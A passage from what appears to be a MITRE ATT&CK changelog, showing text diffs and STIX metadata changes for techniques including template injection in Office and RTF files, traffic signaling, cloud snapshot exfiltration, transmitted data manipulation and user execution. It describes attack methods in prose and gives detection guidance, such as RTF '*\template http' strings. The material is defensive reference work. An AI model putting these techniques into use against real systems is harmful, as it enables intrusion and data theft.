| ent may enable malicious payloads to be fetched and executed | | jected into a document may enable malicious payloads to be f |
| when the document is loaded. (Citation: SANS Brian Wiltse T | | etched and executed when the document is loaded.(Citation: S |
| emplate Injection) These documents can be delivered via othe | | ANS Brian Wiltse Template Injection) These documents can be |
| r techniques such as [Phishing](https://attack.mitre.org/tec | | delivered via other techniques such as [Phishing](https://at |
| hniques/T1566) and/or [Taint Shared Content](https://attack. | | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten |
| mitre.org/techniques/T1080) and may evade static detections | | t](https://attack.mitre.org/techniques/T1080) and may evade |
| since no typical indicators (VBA macro, script, etc.) are pr | | static detections since no typical indicators (VBA macro, sc |
| esent until after the malicious payload is fetched. (Citatio | | ript, etc.) are present until after the malicious payload is |
| n: Redxorblue Remote Template Injection) Examples have been | | fetched.(Citation: Redxorblue Remote Template Injection) Ex |
| seen in the wild where template injection was used to load m | | amples have been seen in the wild where template injection w |
| alicious code containing an exploit. (Citation: MalwareBytes | | as used to load malicious code containing an exploit.(Citati |
| Template Injection OCT 2017) This technique may also enabl | | on: MalwareBytes Template Injection OCT 2017) Adversaries m |
| e [Forced Authentication](https://attack.mitre.org/technique | | ay also modify the <code>*\template</code> control word with |
| s/T1187) by injecting a SMB/HTTPS (or other credential promp | | in an .rtf file to similarly conceal then download malicious |
| ting) URL and triggering an authentication attempt. (Citatio | | code. This legitimate control word value is intended to be |
| n: Anomali Template Injection MAR 2018) (Citation: Talos Tem | | a file destination of a template file resource that is retri |
| plate Injection July 2017) (Citation: ryhanson phishery SEPT | | eved and loaded when an .rtf file is opened. However, advers |
| 2016) | | aries may alter the bytes of an existing .rtf file to insert |
| | | a template control word field to include a URL resource of |
| | | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit |
| | | ation: Ciberseguridad Decoding malicious RTF files) This te |
| | | chnique may also enable [Forced Authentication](https://atta |
| | | ck.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or |
| | | other credential prompting) URL and triggering an authentica |
| | | tion attempt.(Citation: Anomali Template Injection MAR 2018) |
| | | (Citation: Talos Template Injection July 2017)(Citation: ryh |
| | | anson phishery SEPT 2016) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-04-29 14:37:59.462000+00:00 | 2022-01-12 18:16:56.176000+00:00 |
| description | Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016) | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) |
| external_references[5]['source_name'] | Anomali Template Injection MAR 2018 | Proofpoint RTF Injection |
| external_references[5]['description'] | Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018. | Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021. |
| external_references[5]['url'] | https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 | https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread |
| external_references[6]['source_name'] | Talos Template Injection July 2017 | Ciberseguridad Decoding malicious RTF files |
| external_references[6]['description'] | Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018. | Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021. |
| external_references[6]['url'] | https://blog.talosintelligence.com/2017/07/template-injection.html | https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/ |
| external_references[7]['source_name'] | ryhanson phishery SEPT 2016 | Anomali Template Injection MAR 2018 |
| external_references[7]['description'] | Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018. | Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018. |
| external_references[7]['url'] | https://github.com/ryhanson/phishery | https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 |
| x_mitre_data_sources[1] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Network Traffic: Network Connection Creation |
| x_mitre_detection | Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. | Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.
Monitor .rtf files for strings indicating the *\template control word has been modified to retrieve a URL resource, such as *\template http or *\template \u-. |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Talos Template Injection July 2017', 'description': 'Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/07/template-injection.html'} |
| external_references | | {'source_name': 'ryhanson phishery SEPT 2016', 'description': 'Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', 'url': 'https://github.com/ryhanson/phishery'} |
| x_mitre_contributors | | Michael Raggi @aRtAGGI |
[T1205] Traffic Signaling
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may use traffic signaling to hide open ports or | t | Adversaries may use traffic signaling to hide open ports or |
| other malicious functionality used for persistence or comman | | other malicious functionality used for persistence or comman |
| d and control. Traffic signaling involves the use of a magic | | d and control. Traffic signaling involves the use of a magic |
| value or sequence that must be sent to a system to trigger | | value or sequence that must be sent to a system to trigger |
| a special response, such as opening a closed port or executi | | a special response, such as opening a closed port or executi |
| ng a malicious task. This may take the form of sending a ser | | ng a malicious task. This may take the form of sending a ser |
| ies of packets with certain characteristics before a port wi | | ies of packets with certain characteristics before a port wi |
| ll be opened that the adversary can use for command and cont | | ll be opened that the adversary can use for command and cont |
| rol. Usually this series of packets consists of attempted co | | rol. Usually this series of packets consists of attempted co |
| nnections to a predefined sequence of closed ports (i.e. [Po | | nnections to a predefined sequence of closed ports (i.e. [Po |
| rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) |
| , but can involve unusual flags, specific strings, or other | | , but can involve unusual flags, specific strings, or other |
| unique characteristics. After the sequence is completed, ope | | unique characteristics. After the sequence is completed, ope |
| ning a port may be accomplished by the host-based firewall, | | ning a port may be accomplished by the host-based firewall, |
| but could also be implemented by custom software. Adversari | | but could also be implemented by custom software. Adversari |
| es may also communicate with an already open port, but the s | | es may also communicate with an already open port, but the s |
| ervice listening on that port will only respond to commands | | ervice listening on that port will only respond to commands |
| or trigger other malicious functionality if passed the appro | | or trigger other malicious functionality if passed the appro |
| priate magic value(s). The observation of the signal packet | | priate magic value(s). The observation of the signal packet |
| s to trigger the communication can be conducted through diff | | s to trigger the communication can be conducted through diff |
| erent methods. One means, originally implemented by Cd00r (C | | erent methods. One means, originally implemented by Cd00r (C |
| itation: Hartrell cd00r 2002), is to use the libpcap librari | | itation: Hartrell cd00r 2002), is to use the libpcap librari |
| es to sniff for the packets in question. Another method leve | | es to sniff for the packets in question. Another method leve |
| rages raw sockets, which enables the malware to use ports th | | rages raw sockets, which enables the malware to use ports th |
| at are already open for use by other programs. On network d | | at are already open for use by other programs. On network d |
| evices, adversaries may use crafted packets to enable [Netwo | | evices, adversaries may use crafted packets to enable [Netwo |
| rk Device Authentication](https://attack.mitre.org/technique | | rk Device Authentication](https://attack.mitre.org/technique |
| s/T1556/004) for standard services offered by the device suc | | s/T1556/004) for standard services offered by the device suc |
| h as telnet. Such signaling may also be used to open a clos | | h as telnet. Such signaling may also be used to open a clos |
| ed service port such as telnet, or to trigger module modific | | ed service port such as telnet, or to trigger module modific |
| ation of malware implants on the device, adding, removing, o | | ation of malware implants on the device, adding, removing, o |
| r changing malicious capabilities.(Citation: Cisco Synful Kn | | r changing malicious capabilities. Adversaries may use craf |
| ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | | ted packets to attempt to connect to one or more (open or cl |
| Cisco Blog Legacy Device Attacks) To enable this traffic s | | osed) ports, but may also attempt to connect to a router int |
| ignaling on embedded devices, adversaries must first achieve | | erface, broadcast, and network address IP on the same port i |
| and leverage [Patch System Image](https://attack.mitre.org/ | | n order to achieve their goals and objectives.(Citation: Cis |
| techniques/T1601/001) due to the monolithic nature of the ar | | co Synful Knock Evolution)(Citation: Mandiant - Synful Knock |
| chitecture. Adversaries may also use the Wake-on-LAN featur | | )(Citation: Cisco Blog Legacy Device Attacks) To enable thi |
| e to turn on powered off systems. Wake-on-LAN is a hardware | | s traffic signaling on embedded devices, adversaries must fi |
| feature that allows a powered down system to be powered on, | | rst achieve and leverage [Patch System Image](https://attack |
| or woken up, by sending a magic packet to it. Once the syste | | .mitre.org/techniques/T1601/001) due to the monolithic natur |
| m is powered on, it may become a target for lateral movement | | e of the architecture. Adversaries may also use the Wake-on |
| .(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Mag | | -LAN feature to turn on powered off systems. Wake-on-LAN is |
| ic Packet) | | a hardware feature that allows a powered down system to be p |
| | | owered on, or woken up, by sending a magic packet to it. Onc |
| | | e the system is powered on, it may become a target for later |
| | | al movement.(Citation: Bleeping Computer - Ryuk WoL)(Citatio |
| | | n: AMD Magic Packet) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-02-17 14:23:49.495000+00:00 | 2022-04-19 19:52:50.774000+00:00 |
| description | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.
Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet) | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.
Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) |
| external_references[1]['source_name'] | Hartrell cd00r 2002 | Bleeping Computer - Ryuk WoL |
| external_references[1]['description'] | Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018. | Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. |
| external_references[1]['url'] | https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 | https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ |
| external_references[2]['source_name'] | Cisco Synful Knock Evolution | AMD Magic Packet |
| external_references[2]['description'] | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. | AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. |
| external_references[2]['url'] | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices | https://www.amd.com/system/files/TechDocs/20213.pdf |
| external_references[3]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
| external_references[4]['source_name'] | Cisco Blog Legacy Device Attacks | Cisco Synful Knock Evolution |
| external_references[4]['description'] | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. |
| external_references[4]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices |
| external_references[5]['source_name'] | Bleeping Computer - Ryuk WoL | Hartrell cd00r 2002 |
| external_references[5]['description'] | Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. | Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018. |
| external_references[5]['url'] | https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ | https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 |
| external_references[6]['source_name'] | AMD Magic Packet | Cisco Blog Legacy Device Attacks |
| external_references[6]['description'] | AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| external_references[6]['url'] | https://www.amd.com/system/files/TechDocs/20213.pdf | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Tony Lee |
| x_mitre_data_sources | | Network Traffic: Network Traffic Content |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
[T1537] Transfer Data to Cloud Account
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
- DS0010: Cloud Storage (Cloud Storage Metadata)
- DS0020: Snapshot (Snapshot Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:01.280000+00:00 | 2022-04-19 16:11:19.296000+00:00 |
| external_references[1]['source_name'] | DOJ GRU Indictment Jul 2018 | AWS EBS Snapshot Sharing |
| external_references[1]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022. |
| external_references[1]['url'] | https://www.justice.gov/file/1080281/download | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html |
| x_mitre_data_sources[1] | Snapshot: Snapshot Modification | Cloud Storage: Cloud Storage Metadata |
| x_mitre_data_sources[3] | Cloud Storage: Cloud Storage Creation | Snapshot: Snapshot Modification |
| x_mitre_detection | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs.
In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Azure Shared Access Signature', 'description': 'Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.', 'url': 'https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature'} |
| external_references | | {'source_name': 'Azure Blob Snapshots', 'description': 'Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.', 'url': 'https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview'} |
| external_references | | {'source_name': 'DOJ GRU Indictment Jul 2018', 'description': 'Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', 'url': 'https://www.justice.gov/file/1080281/download'} |
| x_mitre_contributors | | Darin Smith, Cisco |
| x_mitre_data_sources | | Cloud Storage: Cloud Storage Creation |
| x_mitre_data_sources | | Snapshot: Snapshot Metadata |
[T1565.002] Data Manipulation: Transmitted Data Manipulation
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may alter data en route to storage or other syst | t | Adversaries may alter data en route to storage or other syst |
| ems in order to manipulate external outcomes or hide activit | | ems in order to manipulate external outcomes or hide activit |
| y.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus S | | y, thus threatening the integrity of the data.(Citation: Fir |
| ony 2018) By manipulating transmitted data, adversaries may | | eEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By man |
| attempt to affect a business process, organizational underst | | ipulating transmitted data, adversaries may attempt to affec |
| anding, and decision making. Manipulation may be possible o | | t a business process, organizational understanding, and deci |
| ver a network connection or between system processes where t | | sion making. Manipulation may be possible over a network co |
| here is an opportunity deploy a tool that will intercept and | | nnection or between system processes where there is an oppor |
| change information. The type of modification and the impact | | tunity deploy a tool that will intercept and change informat |
| it will have depends on the target transmission mechanism a | | ion. The type of modification and the impact it will have de |
| s well as the goals and objectives of the adversary. For com | | pends on the target transmission mechanism as well as the go |
| plex systems, an adversary would likely need special experti | | als and objectives of the adversary. For complex systems, an |
| se and possibly access to specialized software related to th | | adversary would likely need special expertise and possibly |
| e system that would typically be gained through a prolonged | | access to specialized software related to the system that wo |
| information gathering campaign in order to have the desired | | uld typically be gained through a prolonged information gath |
| impact. | | ering campaign in order to have the desired impact. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM', 'root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-02 15:20:28.455000+00:00 | 2022-04-19 23:04:44.258000+00:00 |
| description | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| external_references[1]['source_name'] | FireEye APT38 Oct 2018 | DOJ Lazarus Sony 2018 |
| external_references[1]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. |
| external_references[1]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.justice.gov/opa/press-release/file/1092091/download |
| external_references[2]['source_name'] | DOJ Lazarus Sony 2018 | FireEye APT38 Oct 2018 |
| external_references[2]['description'] | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.justice.gov/opa/press-release/file/1092091/download | https://content.fireeye.com/apt/rpt-apt38 |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
[T1204] User Execution
Current version: 1.5
Version changed from: 1.4 → 1.5
|
|
|---|
| t | An adversary may rely upon specific actions by a user in ord | t | An adversary may rely upon specific actions by a user in ord |
| er to gain execution. Users may be subjected to social engin | | er to gain execution. Users may be subjected to social engin |
| eering to get them to execute malicious code by, for example | | eering to get them to execute malicious code by, for example |
| , opening a malicious document file or link. These user acti | | , opening a malicious document file or link. These user acti |
| ons will typically be observed as follow-on behavior from fo | | ons will typically be observed as follow-on behavior from fo |
| rms of [Phishing](https://attack.mitre.org/techniques/T1566) | | rms of [Phishing](https://attack.mitre.org/techniques/T1566) |
| . While [User Execution](https://attack.mitre.org/technique | | . While [User Execution](https://attack.mitre.org/technique |
| s/T1204) frequently occurs shortly after Initial Access it m | | s/T1204) frequently occurs shortly after Initial Access it m |
| ay occur at other phases of an intrusion, such as when an ad | | ay occur at other phases of an intrusion, such as when an ad |
| versary places a file in a shared directory or on a user's d | | versary places a file in a shared directory or on a user's d |
| esktop hoping that a user will click on it. This activity ma | | esktop hoping that a user will click on it. This activity ma |
| y also be seen shortly after [Internal Spearphishing](https: | | y also be seen shortly after [Internal Spearphishing](https: |
| //attack.mitre.org/techniques/T1534). | | //attack.mitre.org/techniques/T1534). Adversaries may also |
| | | deceive users into performing actions such as enabling [Remo |
| | | te Access Software](https://attack.mitre.org/techniques/T121 |
| | | 9), allowing direct control of the system to the adversary, |
| | | or downloading and executing malware for [User Execution](ht |
| | | tps://attack.mitre.org/techniques/T1204). For example, tech |
| | | support scams can be facilitated through [Phishing](https:// |
| | | attack.mitre.org/techniques/T1566), vishing, or various form |
| | | s of user interaction. Adversaries can use a combination of |
| | | these methods, such as spoofing and promoting toll-free numb |
| | | ers or call centers that are used to direct victims to malic |
| | | ious websites, to deliver and execute payloads containing ma |
| | | lware or [Remote Access Software](https://attack.mitre.org/t |
| | | echniques/T1219).(Citation: Telephone Attack Delivery) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-26 16:42:35.936000+00:00 | 2022-04-19 20:31:15.373000+00:00 |
| description | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
